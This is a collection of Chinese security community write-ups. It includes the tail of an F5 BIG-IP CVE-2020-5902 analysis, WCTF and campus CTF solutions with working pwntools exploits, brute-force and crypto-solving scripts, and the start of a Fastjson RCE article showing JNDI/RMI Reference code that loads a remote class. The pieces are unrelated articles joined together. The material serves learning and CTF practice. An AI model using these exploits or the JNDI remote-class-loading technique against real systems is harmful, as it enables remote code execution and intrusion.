有时候我们在做代码审计时可能会发现代码中存在和上面“后端代码分析”部分出现的相同的情形——只要访问到该页面并构造请求即可实现文件读取、命令执行等操作，但是就苦于一开始就有权限校验，从而没法利用，通过该漏洞我们可以认识到，如果后端的代码中存在上述类似的问题，我们可以首先看一下目标服务器的相关中间件，看看是否有可利用的解析特性包括文件解析、URL解析等等，该漏洞不仅值得安全研究人员思考借鉴，同时也值得甲方项目负责人、架构师等项目负责人进行思考与借鉴。
## 参考链接
<https://github.com/jas502n/CVE-2020-5902/>
<https://clouddocs.f5.com/api/tmsh/Other.html>
<https://support.f5.com/csp/article/K52145254>
<https://github.com/rapid7/metasploit-framework/pull/13807>
<https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/>
<https://www.pwndefend.com/2020/07/07/configuring-syslog-integration-with-f5-big-ip/>
<https://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/>
<https://github.com/nccgroup/Cyber-Defence/blob/master/Intelligence/CVE-2020-5902/bypass-iocs.md>
<https://www.question-defense.com/2011/03/28/f5-big-ip-ltm-ve-default-login-big-ip-local-traffic-manager-virtual-edition-console-login>
<https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf> | 社区文章 |
悄咪咪的参加了WCTF的线上赛，本弱鸡表示一脸懵逼，当时只看了party和Cyber_Mimic_Defense。反正是没做出来，赛后看了
[WCTF-party](https://mhackeroni.it/archive/2018/07/08/wctf-2018-party.html)
总结下party的解法。
顺便还是.net逆向初体验233.
# 0x00
附件就一个exe文件
打开大约是这样的，一个是server功能，一个是client功能。很显然我们要获取server上存储的flag。
客户端能进行的操作
1. 可以设置party的guest
2. 可以给guest添加friendship
3. 设置Erods Scruity
4. Evaluate Party目测是和服务器通讯
评价后会有
我然后抓了下包看了下通信的协议,大致是这样的
2 \暂时用途不明
x \ 总共的guest数,example: 4
v \Erdos security ,example:10 (最大是10
n \ n组配对的好友 example: 2
a b \两个int，表示好友在储存的下标 （0 1）（2 3）
好像没有什么值得利用的地方,只能开始看看源码了
# 0x01
查阅资料得知，这是.net程序，于是用dnSpy打开进行逆向，还好没加壳。
首先看到发信的地方，有个switch，根据数据的第一个协议决定运行哪个模块
1. 一个简单的输出
2. 用户界面实际使用的协议，解释了前面2的用途
3. 一个flag接受+检查机制
查了下Compare方法
所有的查询存在了comm的0-3 bytes里。
4. 如果全是0则表示存在该子串
5. 如果flag>text 则返回一个正数
6. flag<text则返回一个负数。
显然我们无法直接从这个检查机制处获得flag，那么我们看看还有没有其他的方向。
# 0x02
看到了前面switch=2时候的工作。
int num4 = (num * num - num) / 2 / 8;//总共可能有多少种配对方式，并对comm从2开始的下标进行初始化为0.
for (int i = 0; i < num4; i++)
{
this.comm[2 + i] = 0;
}
这段比较有趣，每个人可以和剩下的n-1一个人配对，除以2是为了避免重复。这构成了一个无向的图。
但是他除以了8对结果进行了截断。
显然两者都用到了comm这个数组，也就说前面的对字符串比较的操作可能会影响到后面的这个判决。
如果之前的操作导致了数组的最后一位被置位1，则软件可能会认为这个图里多了一条边，这就可能导致底下的判决错误。
# 0x03
上文提到在进行字符串比对的时候，compare返回了一个int32的整数，并且以小端序存在了comm 0-3 字节。返回是负数的时候则以补码形式存储。
根据补码规则
* 如果一个数是正数则它大多数位为0
* 如果是负数，则大多数为1。
又，因为存储方式为小端，也就说低位先存，则最重要的符号位置则是存在comm[3]中。
然而我们又想操纵整个图的边的数量为1 or 0，那么我们就要另储存图初始化的时候不要初始化到comm[3]。
显然 6个guest可以满足。
(nodes * nodes - nodes) / 2 / 8=0；
则此时初始化只到了comm[2]，也就说我们comm[3]中的内容可以影响关于整个图的判断了。
# 0x04
图的判断逻辑：
* 如果一个图的security个node是全部断开的，则不通过，例如security=6，如果6个节点都是独立的则不通过。
* 反之，如果6个guest有1个连通边则就可以了。
判断flag逻辑：
* 如果输入的text<flag，返回正数，comm[3]=0，返回approve
* 如果输入的text>flag，返回负数，comm[3]=-1，返回disapprove。
* 如果输入为存在字串则返回correct。
因此根据二分查找就可以爆破出flag。贴出原wp的exp。
from socket import socket
import time
host = '180.163.241.15'
port = 10658
def testflag(flag):
sock = socket()
sock.connect((host, port))
# overwrite comm
sock.send(b'3\n')
sock.send(b'1\n') # one line
sock.send(flag.encode() + b'\n')
res = b''
while not (b'Correct' in res or b'Incorrect' in res):
time.sleep(0.1)
res += sock.recv(1024)
print(res)
if b'Correct' in res:
return 0
# leak sign bit
sock.send(b'2\n')
sock.send(b'6\n') # 6 nodes
sock.send(b'6\n') # threshold = 6
sock.send(b'0\n') # no edges
res = b''
while not b'party' in res:
time.sleep(0.1)
res += sock.recv(1024)
print(res)
sock.close()
if b'does not approve' in res:
return 1 # flag is bigger
elif b'approves' in res:
return -1 # flag is smaller
else:
raise Exception('something wrong')
flag = ''
newchar = ''
for l in range(100):
flag += newchar
print(l)
print(flag)
minv = 0x20
maxv = 0x7e
while minv != maxv:
newchar = chr(minv + (maxv - minv) // 2)
newflag = flag + newchar
print(minv, maxv)
res = testflag(newflag)
if res > 0:
# character is too small, or the string is too short
minv = minv + (maxv - minv + 1) // 2
elif res < 0:
# character is too big
maxv = minv + (maxv - minv) // 2
else:
print('Flag found!', newflag)
exit()
# check off-by-one because of the different string length
if testflag(flag + newchar) < 0:
newchar = chr(ord(newchar) - 1) | 社区文章 |
## 高校运维赛
### hack
> 程序自身存在任意地址写漏洞，但因为是一个类似unlink的行为，所以需要两个地址都可写
>
>
>
> 观察main函数发现在retn之前恢复esp寄存器使用的不是leave指令而是lea
> esp,[ecx-4]，而ecx寄存器的值保存在栈上，可以使用提供的漏洞来改写，交换一下堆栈上的值，把栈改到堆上就能在retn的时候跳onegadget
>
>
from pwn import *
#p = process("./hack",env = {"LD_PRELOAD": "./libc6-i386_2.23-0ubuntu10_amd64.so"})
p = remote("210.32.4.16", 13375)
libc = ELF("libc6-i386_2.23-0ubuntu10_amd64.so")
p.recvuntil("Besides you can have two chances to leak, input address: \n")
p.sendline("134520860")
p.recvuntil(", ")
puts = int(p.recv(10),16)
libc.address = puts - libc.sym["puts"]
environ = libc.sym["environ"]
one = libc.address + 0x3a819
print hex(puts),hex(environ)
p.sendline(str(environ))
p.recvuntil(", ")
stack = int(p.recv(10),16)
print hex(stack)
target_stack = stack - 184
p.recvuntil("The address of the node is ")
heap = p.recvuntil(",")
heap = int(heap[0:len(heap)-1],16)
print hex(heap)
#gdb.attach(p)
#raw_input()
p.send(p32(one)*2 + p32(heap+4) + p32(target_stack - 8))
p.interactive()
### hide and seek
> 程序在启动后不断对代码块进行解密，在大量解密后才会进入验证过程，可以使用ida
> python脚本自动对程序进行解密（以下代码有一部分可能需要自己手动解）：
import idc
import idautils
def xor_patch(start, end, val):
for i in range(start, end):
b = idc.Byte(i) ^ val
idc.PatchByte(i, b)
MakeUnkn(i, 1)
MakeFunction(start)
def find_mnem(start, mnem='lea'):
start_ea = start
for i in range(1000):
ins = idautils.DecodeInstruction(start_ea)
if ins.get_canon_mnem() == mnem:
break
if i == 100:
return -1
start_ea += ins.size
return start_ea
break_addr = [0x414dad, 0x414f53, 0x4150f9]
def auto_ana(start):
while True:
print hex(start)
if start in break_addr:
print "bp hit %s" % hex(start)
break
start_ea = find_mnem(start)
if (start_ea == -1):
break
if GetMnem(start_ea) != 'lea':
break
ea = start_ea
start1 = GetOperandValue(ea, 1)
ea = start_ea + 0x101 - 0xf6
if GetMnem(ea) != 'lea':
break
end1 = GetOperandValue(ea, 1)
ea = start_ea + 0x10c - 0xf6
if GetMnem(ea) != 'mov':
break
val1 = GetOperandValue(ea, 1)
start_ea = find_mnem(ea)
if (start_ea == -1):
break
if GetMnem(start_ea) != 'lea':
break
ea = start_ea
start2 = GetOperandValue(ea, 1)
ea = start_ea + 0x101 - 0xf6
if GetMnem(ea) != 'lea':
break
end2 = GetOperandValue(ea, 1)
ea = start_ea + 0x10c - 0xf6
if GetMnem(ea) != 'mov':
break
val2 = GetOperandValue(ea, 1)
ea = find_mnem(ea, 'call')
if -1 == ea:
break
if GetMnem(ea) != 'call':
break
call_addr = GetOperandValue(ea, 0)
# xor_patch(start1, end1, val1)
# print "xor(%s, %s, %s)" % (hex(start1), hex(start1), hex(val1))
xor_patch(start2, end2, val2)
print "xor(%s, %s, %s)" % (hex(start2), hex(start2), hex(val2))
start = call_addr
print "call %s" % hex(call_addr)
print "%s: %s" % (hex(ea), GetDisasm(ea))
xor_patch(0x4006EB, 0x40082B, 9)
auto_ana(0x4166AB)
> 解密的最后几个函数为验证函数，每次验证一个flag字节，可以爆破出flag
constraints = '''34 * flag[0] + 3 * flag[0] * flag[0] + 120 * flag[0] * flag[0] * flag[0] + 12 == 39437721
96 * flag[1] + 127 * flag[1] * flag[1] + 41 * flag[1] * flag[1] * flag[1] + 87 == 16633575
26 * flag[2] + 70 * flag[2] * flag[2] + 12 * flag[2] * flag[2] * flag[2] + 33 == 7345865
88 * flag[3] + 31 * flag[3] * flag[3] + 71 * flag[3] * flag[3] * flag[3] + 105 == 132601485
67 * flag[4] + 29 * flag[4] * flag[4] + 69 * flag[4] * flag[4] * flag[4] + 32 == 122670437
23 * flag[5] + 79 * flag[5] * flag[5] + 117 * flag[5] * flag[5] * flag[5] + 112 == 160988851
101 * flag[6] + 101 * flag[6] * flag[6] + 13 * flag[6] * flag[6] * flag[6] + 25 == 22215400
120 * flag[7] + 25 * flag[7] * flag[7] + 37 * flag[7] * flag[7] * flag[7] + 106 == 0x1E7ABC6
101 * flag[8] + 92 * flag[8] * flag[8] + 40 * flag[8] * flag[8] * flag[8] + 35 == 62063350
11 * flag[9] + 31 * flag[9] * flag[9] + 67 * flag[9] * flag[9] * flag[9] + 99 == 75702427
16 * flag[10] + 67 * flag[10] * flag[10] + 74 * flag[10] * flag[10] * flag[10] + 17 == 102031994
21 * flag[11] + 93 * flag[11] * flag[11] + 67 * flag[11] * flag[11] * flag[11] + 2 == 108583607
62 * flag[12] + 109 * flag[12] * flag[12] + 107 * flag[12] * flag[12] * flag[12] + 61 == 136067317
104 * flag[13] + 47 * flag[13] * flag[13] + 117 * flag[13] * flag[13] * flag[13] + 79 == 117480479
68 * flag[14] + 124 * flag[14] * flag[14] + 88 * flag[14] * flag[14] * flag[14] + 115 == 76574675
86 * flag[15] + 50 * flag[15] * flag[15] + (flag[15] * flag[15] * flag[15] << 6) + 93 == 70473929
100 * flag[16] + 70 * flag[16] * flag[16] + 118 * flag[16] * flag[16] * flag[16] + 84 == 162254112
39 * flag[17] + 76 * flag[17] * flag[17] + 50 * flag[17] * flag[17] * flag[17] + 23 == 43558378
101 * flag[18] + 74 * flag[18] * flag[18] + 67 * flag[18] * flag[18] * flag[18] + 45 == 71881179
31 * flag[19] + 115 * flag[19] * flag[19] + 101 * flag[19] * flag[19] * flag[19] + 7 == 139551094
20 * flag[20] + 11 * flag[20] * flag[20] + 69 * flag[20] * flag[20] * flag[20] + 119 == 102371891
83 * flag[21] + 122 * flag[21] * flag[21] + 27 * flag[21] * flag[21] * flag[21] + 111 == 24258171
34 * flag[22] + 51 * flag[22] * flag[22] + 66 * flag[22] * flag[22] * flag[22] + 10 == 88466850
16 * flag[23] + 58 * flag[23] * flag[23] + 115 * flag[23] * flag[23] * flag[23] + 35 == 105504704
50 * flag[24] + 125 * flag[24] * flag[24] + 51 * flag[24] * flag[24] * flag[24] + 18 == 79223518
26 * flag[25] + 127 * flag[25] * flag[25] + 10 * flag[25] * flag[25] * flag[25] + 3 == 10950294
122 * flag[26] + 83 * flag[26] * flag[26] + 92 * flag[26] * flag[26] * flag[26] + 60 == 126858297
56 * flag[27] + 36 * flag[27] * flag[27] + 110 * flag[27] * flag[27] * flag[27] + 69 == 146851829
110 * flag[28] + 23 * flag[28] * flag[28] + 32 * flag[28] * flag[28] * flag[28] + 127 == 32241127
58 * flag[29] + 123 * flag[29] * flag[29] + 22 * flag[29] * flag[29] * flag[29] + 44 == 26829959
122 * flag[30] + 60 * flag[30] * flag[30] + 92 * flag[30] * flag[30] * flag[30] + 65 == 123191485
88 * flag[31] + 36 * flag[31] * flag[31] + 38 * flag[31] * flag[31] * flag[31] + 38 == 52423340
80 * flag[32] + 72 * flag[32] * flag[32] + 127 * flag[32] * flag[32] * flag[32] + 44 == 109544069
13 * flag[33] + 23 * flag[33] * flag[33] + 94 * flag[33] * flag[33] * flag[33] + 28 == 158732224
80 * flag[34] + 24 * flag[34] * flag[34] + 46 * flag[34] * flag[34] * flag[34] + 79 == 63215689
100 * flag[35] + 101 * flag[35] * flag[35] + 75 * flag[35] * flag[35] * flag[35] + 104 == 112439900
96 * flag[36] + 8 * flag[36] * flag[36] + 4 * flag[36] * flag[36] * flag[36] + 49 == 5142577
14 * flag[37] + 89 * flag[37] * flag[37] + 113 * flag[37] * flag[37] * flag[37] == 113891400
9 * flag[38] + 82 * flag[38] * flag[38] + 18 * flag[38] * flag[38] * flag[38] + 74 == 16173729
56 * flag[39] + 14 * flag[39] * flag[39] + 117 * flag[39] * flag[39] * flag[39] + 70 == 113667811
53 * flag[40] + 49 * flag[40] * flag[40] + 89 * flag[40] * flag[40] * flag[40] + 94 == 100648486
6 * flag[41] + 23 * flag[41] * flag[41] + 38 * flag[41] * flag[41] * flag[41] + 22 == 34898585
29 * flag[42] + 72 * flag[42] * flag[42] + 21 * flag[42] * flag[42] * flag[42] + 43 == 28054245
16 * flag[43] + 90 * flag[43] * flag[43] + 68 * flag[43] * flag[43] * flag[43] + 105 == 96665961
73 * flag[44] + 116 * flag[44] * flag[44] + 102 * flag[44] * flag[44] * flag[44] + 51 == 119364366
101 * flag[45] + 15 * flag[45] * flag[45] + 13 * flag[45] * flag[45] * flag[45] + 34 == 17975263
59 * flag[46] + 72 * flag[46] * flag[46] + 52 * flag[46] * flag[46] * flag[46] + 83 == 70089773
50 * flag[47] + 22 * flag[47] * flag[47] + 55 * flag[47] * flag[47] * flag[47] + 41 == 83944866
77 * flag[48] + 42 * flag[48] * flag[48] + 119 * flag[48] * flag[48] * flag[48] + 110 == 134321206
91 * flag[49] + 38 * flag[49] * flag[49] + 126 * flag[49] * flag[49] * flag[49] + 64 == 146289319
113 * flag[50] + 113 * flag[50] * flag[50] + 119 * flag[50] * flag[50] * flag[50] + 22 == 168616582
24 * flag[51] + 88 * flag[51] * flag[51] + 98 * flag[51] * flag[51] * flag[51] + 30 == 192784280
96 * flag[52] + 12 * flag[52] * flag[52] + 74 * flag[52] * flag[52] * flag[52] + 104 == 104'''
constraints = constraints.split('\n')
template = '''
for (int i = 0; i < 256; i++) {
flag[%d] = i;
if (%s)
printf("%%c",flag[%d]);
}
'''
code = '''
#include <stdio.h>
int main() {
char flag[256] = {0};
'''
for i, constraint in enumerate(constraints):
code += template % (i, constraint, i)
code += '''
return 0;
}
'''
with open("solve.c", "w+") as f:
f.write(code)
用以上代码获得爆破的c代码，编译运行后得到flag：
### SimpleBBS
登陆用户名处注入，没有过滤。直接从flag表的flag库中获取flag。使用substring分两次得到flag。
### SimpleServerInjection
根据提示得知Ssi漏洞。百度得到常见payload。执行命令等都不行。
只有include可直接包含flag。
### SimpleExtensionExplorerInjection&&SimplePrintEventLogger
分析源码发现。可以使用xml方式提交。修改请求头中的json为xml。然后使用源码中demo里的格式提交。并插入xxe代码。本题flag在flagvvvvvaaaagegsgag2333中。Flag文件中的是另一题xxe的flag。
直接读取：
### AzureRSA
> 刚开始用m^14代替m,得到pow(m,14,n1),pow(m,14,n2), 中国剩余定理类似,得到m^14 mod c N(N=p1 _q1_
> q2)然而找不到这样的解.后来换了思路,将m^14降低为m^2,即m^e1modn1modq1 = c1 mod q1 ,m^e2modn2modq2=
> c2mod q2 这样,gcd(e1/2,q1)=1,gcd(e2/2,q2)=1,可以解出m^2 mod q1 =cc1 和m^2 mod q2
> =cc2,直接crt,然后开平方得到flag
In [39]: n1=0xcfc59d54b4b2e9ab1b5d90920ae88f430d39fee60d18dddbc623d15aae645e4e50db1c07a02d472b2eebb075a547618e1154a15b1657fbf66ed7e714d23ac70bdfba4c809bbb1e27687163cb09258a07ab2533568192e29a
...: 3b8e31a5de886050b28b3ed58e81952487714dd7ae012708db30eaf007620cdeb34f150836a4b723L
...: e1=0xfae3aL
...: c1=0x81523a330fb15125b6184e4461dadac7601340960840c5213b67a788c84aecfcdc3caf0bf3e27e4c95bb3c154db7055376981972b1565c22c100c47f3fa1dd2994e56090067b4e66f1c3905f9f780145cdf8d0fea88a45ba
...: e5113da37c8879c9cdb8ee9a55892bac3bae11fbbabcba0626163d0e2e12c04d99f4eeba5071cbeaL
...: n2=0xd45304b186dc82e40bd387afc831c32a4c7ba514a64ae051b62f483f27951065a6a04a030d285bdc1cb457b24c2f8701f574094d46d8de37b5a6d55356d1d368b89e16fa71b6603bd037c7f329a3096ce903937bb0c4f112
...: a678c88fd5d84016f745b8281aea8fd5bcc28b68c293e4ef4a62a62e478a8b6cd46f3da73fa34c63L
...: e2=0x1f9eaeL
...: c2=0x4d7ceaadf5e662ab2e0149a8d18a4777b4cd4a7712ab825cf913206c325e6abb88954ebc37b2bda19aed16c5938ac43f43966e96a86913129e38c853ecd4ebc89e806f823ffb802e3ddef0ac6c5ba078d3983393a91cd7a1
...: b59660d47d2045c03ff529c341f3ed994235a68c57f8195f75d61fc8cac37e936d9a6b75c4bd2347L
...:
In [40]: p = libnum.gcd(n1,n2)
In [41]: q1 =n1/p
In [42]: q2 =n2/p
In [43]: cc1 = c1%q1
In [44]: cc2 = c2%q1
In [45]: d1 = libnum.invmod(e1/2,q-1)
--------------------------------------------------------------------------- NameError Traceback (most recent call last)
<ipython-input-45-2c146c319682> in <module>()
----> 1 d1 = libnum.invmod(e1/2,q-1)
NameError: name 'q' is not defined
In [46]: d1 = libnum.invmod(e1/2,q1-1)
In [47]: cc2 = c2%q2
In [48]: d1 = libnum.invmod(e2/2,q2-1)
In [49]: d1 = libnum.invmod(e1/2,q1-1)
In [50]: d2 = libnum.invmod(e2/2,q2-1)
In [51]: m1 = pow(cc1,d1,q1)
In [52]: m2 = pow(cc2,d2,q2)
In [53]: m1
Out[53]: 9145934804009004487552719748503822228920165925511590860348810016302826482806451163145078607458075363428884414552198356056125262348182137376201366786492784L
In [54]: m2
Out[54]: 3589561559133514136369704927243000433305585821117657920415578960870812553872371912746609007780318541077484059092980022388170364677662870890767576651886698L
In [55]: libnum.solve_crt([m1,m2],[q1,q2])
Out[55]: 13168369367234198437872749539018271419400232176904300158681951658443746540951392343907618182877829683142536637493048355562258888677328011329896313460691230736511412015403100140418455192352174969825494293642608716519887040771398966236396051002414138381164735834544781497250458993707685568567680611380013766409L
In [56]: gmpy2.iroot(1316836936723419843787274953901827141940023217690430015868195165844374654095139234390761818287782968314253663749304835556225888867732801132989631346069123073651141201540
...: 3100140418455192352174969825494293642608716519887040771398966236396051002414138381164735834544781497250458993707685568567680611380013766409L,2)
Out[56]:
(mpz(3628824791476463449712710601919239191346461224846499372572231062657711924665917840593543722030898280547854987832315368435069026877456799815879585534390653L),
True)
In [57]: libnum.n2s(3628824791476463449712710601919239191346461224846499372572231062657711924665917840593543722030898280547854987832315368435069026877456799815879585534390653L)
Out[57]: 'EIS{Comm0n_Div15or_plus_CRT_is_so_easy|cb2733b9e69ab3a9bd526fa1}'
### gogogo
> strings gogogo.pcapng|grep gogogo -C 5
> 可以定位到流量包中ftp有gogogo.png,猜测该文件就是flag,定位到该流量,提取png,得到flag:
>
>
### Checkin
>
> 先用getchars.py把验证码的所有字符全部保存，再肉眼识别所有的字符，重命名成资源文件保存在compares目录里，最后用solve.py暴力破解验证码。
>
>
>
> getchars.py
#!/usr/bin/env python
# for save all characters as the resource of captchas
# then recognize the letters and use them to compare the captchas
# it takes me almost a full of an hour, what a damn...==
import os
import hashlib
import telnetlib
def md5(item):
m = hashlib.md5()
m.update(item.encode("utf-8"))
return m.hexdigest()
for l in range(100):
channel = telnetlib.Telnet('210.32.4.14', 13373)
captchas = ['','','','','','']
screen = channel.read_until("your captcha:")
print(screen)
#print(screen.replace(" ","X"))
captcha_blocks = screen[-1103:]
#print captcha_blocks
for i in range(10):
for j in range(6):
cursor = i*109+j*18
captchas[j] += captcha_blocks[ cursor:cursor+18 ] + '\n'
for captcha in captchas:
open("resource/%s.txt" % md5(captcha),'w' ).write(captcha)
> solve.py
#!/usr/bin/env python
import os
import telnetlib
compares = {}
for walkers in os.walk('compare'):
for compare_file in walkers[2]:
c = open("compare/%s" % compare_file).read()
compares[c] = compare_file
channel = telnetlib.Telnet('210.32.4.14', 13373)
for l in range(21):
captchas = ['','','','','','']
screen = channel.read_until("your captcha:")
print(screen)
#print(screen.replace(" ","X"))
captcha_blocks = screen[-1103:]
#print captcha_blocks
for i in range(10):
for j in range(6):
cursor = i*109+j*18
captchas[j] += captcha_blocks[ cursor:cursor+18 ] + '\n'
tap = ''
for captcha in captchas:
tap += compares[captcha]
print tap
channel.write(tap+'\n')
### YouChat
> 由py文件可知,得到nonce就通过aes-cbc解密出flag
> 其中流量包中包含
> n1 =
> 2788345359890551962905543699268136771176146000595129094648687559760519824698082876750649883170679922128843046651835660067369815643046909474111978619841667476365660977739880668233159866349478217053419208643682425092527541427901937121285804453341270303876060899970827193040944247320434441820601552072772196631
> n =
> 178922502641382884719655444473401202320992695012776499435228267035240519083789199752508747615390185778922172217091588694375036275788509347056710981158505765839784659343157937299004903271202878247597396606459115904969445633597329631641132639838853464328381065150951561416618657054418909973015950955119221913709
> e = 65537
> n2 =
> 122909506930720148822026880183728012525703992834932769580248844377225531647180931058151093428767439482846732968693811513424900749181859575037932026377525177691863042999954304430740868140773963404578870118560546364210827023511095073900617051661314244461840751860152430809513488211355892785320736409017285674252
> Z5x2stZPTMLCdUwBZcw0uwDVMaLDS1xME7+JwmeUYZb4jep2HZBF1V0IKwDL4Vse
> 可以通过bsgs跑出nouce，然而数据包泄漏时间，直接暴力跑，
> nonce = int(time.time()) * 0xdeadbeef
> print 'using nonce: %d' % nonce
> nonce这样产生的,根据捕获数据包的时间可以算出nonce,直接解密flag
In [31]: time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(1537000000))
Out[31]: '2018-09-15 16:26:40'
In [32]: for i in range(1537000000,1538000000):
...: if pow(0x10001,i*0xdeadbeef,17892250264138288471965544447340120232099269501277649943522826703524051908378919975250874761539018577892217221709158869437503627578850934705671098115
...: 8505765839784659343157937299004903271202878247597396606459115904969445633597329631641132639838853464328381065150951561416618657054418909973015950955119221913709)==278834535989055196
...: 2905543699268136771176146000595129094648687559760519824698082876750649883170679922128843046651835660067369815643046909474111978619841667476365660977739880668233159866349478217053419
...: 208643682425092527541427901937121285804453341270303876060899970827193040944247320434441820601552072772196631:
...: print i
...: break
...:
key = pow(n2,1537004467*0xdeadbeef, n)
1537004467
In [19]: from Crypto.Cipher import AES
...: from pwn import *
...: FLAG = "flag{xxxxxxxxxxxxxxxxx}"
...:
...: context.log_level="debug"
...: server_port = 0x1337
...:
...:
...: nonce = int(time.time()) * 0xdeadbeef
...: print 'using nonce: %d' % nonce
...:
...:
...: def newaes(key):
...: aes_key = 0
...: while key > 0:
...: aes_key ^= key & (2 ** 256 - 1)
...: key >>= 256
...: try:
...: aes_key = ('%x' % aes_key).strip('L').decode('hex')
...: except:
...: aes_key = ('0%x' % aes_key).strip('L').decode('hex')
...: aes = AES.new(aes_key, AES.MODE_CBC, '0' * 16)
...: return aes
...:
using nonce: 5762140749942402892
In [27]: newaes(key).decrypt("Z5x2stZPTMLCdUwBZcw0uwDVMaLDS1xME7+JwmeUYZb4jep2HZBF1V0IKwDL4Vse".decode('base64'))
Out[27]: 'EIS{annonce_nonce_once_once_once_bounce}\x08\x08\x08\x08\x08\x08\x08\x08'
### ELFRand
> 固定地址,暴力跑就可以了,可以发现flag位置前后距离不一样,0x10,0x20,可以这样二分查找,懒得写了,就多跑几遍暴力吧.
# -*- coding: utf-8 -*-
from pwn import *
import re
base = 0xb2890
while 1:
p = remote("210.32.4.13", 13372)
for i in range(-10,10):
tem = i
p.recvuntil("offset: ")
p.sendline(str(hex(base+i*0x60*10))[2:])
data = p.recv(16)
xx = data.decode("hex")
print xx
if "\x00\x00\x00\x00\x00\x00\x00\x00"== xx and tem==-10:
base = base+0x20
# if "\x00\x00\x00\x00\x00\x00\x00\x00"== xx and tem!=-10:
# for j in range(1,10):
# p.recvuntil("offset: ")
# p.sendline(str(hex(base+(tem-1)*0x60*20+0x60*j))[2:])
# data = p.recv(16)
# xx = data.decode("hex")
# print xx
elif not re.match("[0-9a-f]{8}", xx):
print "hhhhhhhhhhhhhhhhhhhhhhhhh"
for j in range(-2,8):
p.recvuntil("offset: ")
p.sendline(str(hex(base+tem*0x60*10+8*j))[2:])
data = p.recv(16)
xx = data.decode("hex")
print xx
p.close()
[*] Closed connection to 210.32.4.13 port 13372
[+] Opening connection to 210.32.4.13 on port 13372: Done
\x00\x00\x00\x00\x00\x00\x00\x00
bf53c3ce
52eb1445
d5ea3ebd
8e5bd798
abd71e54
a02ca07b
2ecab3ac
_123_bef
hhhhhhhhhhhhhhhhhhhhhhhhh
EIS{need
_to_know
_123_bef
ore_hack
ing_lol}
\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00
82704618
d1a03aad
ab596fca | 社区文章 |
# 【技术分享】基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作** **者：**[ **@廖新喜已被注销**](https://weibo.com/u/5458358938)
**预估稿费：1200RMB**
**（本篇文章享受双倍稿费 活动链接请**[ **点击此处**](http://bobao.360.cn/news/detail/4370.html)
**）
**
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿**
**背景**
这篇文章主要是基于我在看雪2017开发者峰会的演讲而来，由于时间和听众对象的关系，在大会上主要精力都集中在反序列化的防御上。前面的Fastjson
PoC的构造分析涉及得很少，另外我在5月份分享的Fastjson Poc构造与分析限制条件太多，所以写下这篇文章。
**Fastjson 使用**
Fastjson是Alibaba开发的，Java语言编写的高性能JSON库。采用“假定有序快速匹配”的算法，号称Java语言中最快的JSON库。Fastjson接口简单易用，广泛使用在缓存序列化、协议交互、Web输出、Android客户端
提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化。项目地址：<https://github.com/alibaba/fastjson>
。那我们看下如何使用？首先定义一个User.java,代码如下：
public class User {
private Long id;
private String name;
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
序列化的代码如下：
import com.alibaba.fastjson.JSON;
User guestUser = new User();
guestUser.setId(2L);
guestUser.setName("guest");
String jsonString = JSON.toJSONString(guestUser);
System.out.println(jsonString);
反序列化的代码示例：
String jsonString = "{"name":"guest","id":12}";
User user = JSON.parseObject(jsonString, User.class);
上述代码的parseObject也可以直接用parse接口。
**Fastjson安全特性**
反序列化的Gadget需要无参默认构造方法或者注解指定构造方法并添加相应参数。使用Feature.SupportNonPublicField才能打开非公有属性的反序列化处理，@type可以指定反序列化任意类，调用其set，get，is方法。
1
上图则是Fastjson反序列框架图。JSON门面类，提供一些静态方法，如parse，parseObject.其主要功能都是在DefaultJSONParser类中实现。DefaultJSONParser引用了ParserConfig，主要保存一些相关配置信息。也引用了JSONLexerBase，这个类用来处理字符分析。而反序列化用到的JavaBeanDeserializer则是JavaBean反序列化处理主类。fastjson在1.2.24版本添加enable_autotype开关，将一些类加到黑名单中，后续我也给它报过bypass，fastjson也一并修复。
**JNDI**
JNDI即Java Naming and Directory
Interface，翻译成中文就Java命令和目录接口，2016年的blackhat大会上web议题重点讲到，但是对于json这一块没有涉及。JNDI提供了很多实现方式，主要有RMI，LDAP，CORBA等。我们可以看一下它的架构图
JNDI提供了一个统一的外部接口，底层SPI则是多样的。在使用JNDIReferences的时候可以远程加载外部的对象，即实现factory的初始化。如果说其lookup方法的参数是我们可以控制的，可以将其参数指向我们控制的RMI服务，切换到我们控制的RMI/LDAP服务等等。
Registry registry = LocateRegistry.createRegistry(1099);
//http://xxlegend.com/Exploit.class
Reference reference = new javax.naming.Reference(“Exploit",“Exploit","http://xxlegend.com/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind(“Exploit", referenceWrapper);
这段代码主要讲到了在1099端口上创建一个RMI服务，RMI的内容则是通过外部的http服务地址获取。在客户端则是将lookup的地址指向刚才我们创建的RMI服务，即能达到远程代码执行的目的。可以使用如下的请求端代码进行测试：
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);
Object local_obj = RicterCctx.lookup("rmi://xxlegend.com/Exploit");
那么攻击者的流程就是这样的。攻击者准备rmi服务和web服务，将rmi绝对路径注入到lookup方法中，受害者JNDI接口会指向攻击者控制rmi服务器，JNDI接口向攻击者控制web服务器远程加载恶意代码，执行构造函数形成RCE。
**PoC构造与分析**
